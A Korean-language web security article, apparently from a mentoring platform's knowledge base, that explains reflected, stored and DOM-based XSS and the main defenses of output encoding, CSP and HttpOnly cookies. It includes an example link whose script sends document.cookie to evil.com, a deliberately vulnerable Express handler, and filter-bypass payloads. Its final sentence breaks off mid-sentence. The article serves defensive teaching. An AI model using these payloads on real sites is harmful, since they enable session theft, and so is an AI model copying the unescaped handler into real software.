arrow_back필드 노트로 돌아가기
WEB SECURITY 게시됨 9 Aug 2026

Cross-Site Scripting: 2024년에도 여전히 위험한 XSS

반사형, 저장형, DOM 기반 XSS의 실제 작동 방식, 공격자들의 악용 방법, 그리고 실질적인 방어 방법에 대한 분석.

XSS는 OWASP Top 10에 20년 넘게 등재되어 있으며 보안 테스터가 가장 먼저 확인하는 항목 중 하나입니다. 이 버그는 설명하기는 쉽지만 완전히 차단하기는 까다롭습니다. 공격자가 자신의 JavaScript를 피해자의 브라우저에서 당신의 사이트 origin 아래에서 실행시키는 것입니다. 이런 일이 발생하면 공격자는 쿠키를 읽거나 요청을 위조하거나 사용자가 보는 페이지를 다시 작성할 수 있습니다.

세 가지 유형

반사형 XSS는 전형적인 피싱 링크 공격입니다. 검색 페이지가 URL의 ?q=를 가져와서 인코딩 없이 HTML에 직접 출력합니다. https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>처럼 링크를 누군가에게 보내고 로그인된 상태에서 클릭하면 세션 쿠키가 공격자에게 전송됩니다.

저장형 XSS는 더 심각한데, 링크가 필요 없기 때문입니다. 댓글 필드, 프로필 소개, 지원 티켓 설명 — 사용자 입력이 저장되고 나중에 다른 사용자에게 렌더링되는 모든 곳에서 발생합니다. 페이로드를 한 번 게시하면 그 페이지를 보는 모든 방문자가 영향을 받으며, 사회공학이 필요 없습니다.

DOM 기반 XSS는 완전히 클라이언트 측 코드에만 존재합니다. 서버는 악의적인 페이로드를 절대 볼 수 없으며, JavaScript가 location.hashdocument.referrer처럼 뭔가를 읽어서 innerHTML이나 eval()로 밀어 넣는 것입니다. 이 경우는 서버 측 로그가 완벽하게 깨끗해 보이기 때문에 많은 사람들이 헷갈려합니다.

실제로 어디서 오는가

대부분의 XSS 버그는 한 가지 실수로 귀결됩니다. 신뢰할 수 없는 데이터를 신뢰할 수 있는 마크업이나 코드로 취급하는 것입니다. JavaScript에서 주의해야 할 일반적인 sink: innerHTML, outerHTML, document.write, eval, 문자열 인수를 받는 setTimeout, jQuery의 .html(). 서버 측에서는 기본적으로 자동 이스케이프를 하지 않는 템플릿 엔진(HTML로의 원시 문자열 연결)이 주요 원인입니다.

간단한 실제 예제를 보면, Node/Express 앱이 다음을 수행하는 경우:

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

즉시 반사형 XSS가 존재합니다. req.query.name이 인코딩 없이 응답에 직접 들어갑니다. 누구든 /greet?name=<img src=x onerror=alert(document.domain)>에 접속하면 약 2초 안에 증명할 수 있습니다.

실질적으로 고치는 방법

문맥을 고려한 출력 인코딩이 실제 해결책이며, 우회 방법이 아닙니다. HTML 본문, HTML 속성, JavaScript 문자열, URL 문맥은 각각 다른 인코딩 규칙이 필요합니다 — OWASP Java Encoder 같은 라이브러리나 Jinja2, React JSX, Handlebars 같은 템플릿 엔진의 내장 자동 이스케이프가 이를 올바르게 처리합니다. React는 특히 텍스트 콘텐츠를 기본적으로 이스케이프하며, 이것이 dangerouslySetInnerHTML이 그렇게 명명된 이유입니다. 경고 레이블입니다.

입력 검증은 도움이 되지만 그 자체로는 충분하지 않습니다. <script> 태그를 차단하는 것은 지속적으로 우회됩니다 — <img src=x onerror=...>, <svg onload=...>, 또는 거의 모든 태그의 이벤트 핸들러가 모두 작동합니다. 허용 목록 형식(이메일 정규식, 숫자 ID)은 보조 계층으로 괜찮지만, 적절한 출력 인코딩을 대체하지 않습니다.

Content-Security-Policy는 가장 강력한 심층 방어 계층입니다. 다음과 같은 정책:

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

명시적으로 nonce'd되거나 허용 목록에 있지 않으면 인라인 스크립트와 타사 스크립트 소스를 차단하며, 인코딩을 우회해도 대부분의 XSS 페이로드가 실행되지 않도록 합니다. 프로덕션 CSP에서 unsafe-inlineunsafe-eval을 피하세요. 대부분의 보호를 무효화합니다.

HttpOnlySecure 플래그로 쿠키를 설정하면 성공한 XSS라도 document.cookie를 통해 세션 쿠키를 직접 읽을 수 없습니다. 주입을 방지하지는 않지만 피해 범위를 상당히 제한합니다.

직접 테스트하기

Burp Suite의 active scanner는 반사형과 저장형 XSS를 자동으로 많이 감지하지만, DOM 기반의 경우 수동 테스트도 중요합니다. DOMPurify의 자체 테스트 스위트 같은 도구나 단순히 코드베이스에서 innerHTML =eval(을 grep하면 놀라울 정도로 많은 발견이 빠르게 나타납니다. 수동 테스트를 위해 `"

AI 도움을 받아 작성했으며, Michal Pilch(CISSP), Korra Studio에서 검토 및 게시했어요.

더 나아가고 싶으신가요?

이것은 Korra Studio 나레지베이스의 한 노트예요. 플랫폼은 모든 주제를 1-to-1 멘토링과 함께 제공해요.

무료로 시작하기arrow_forward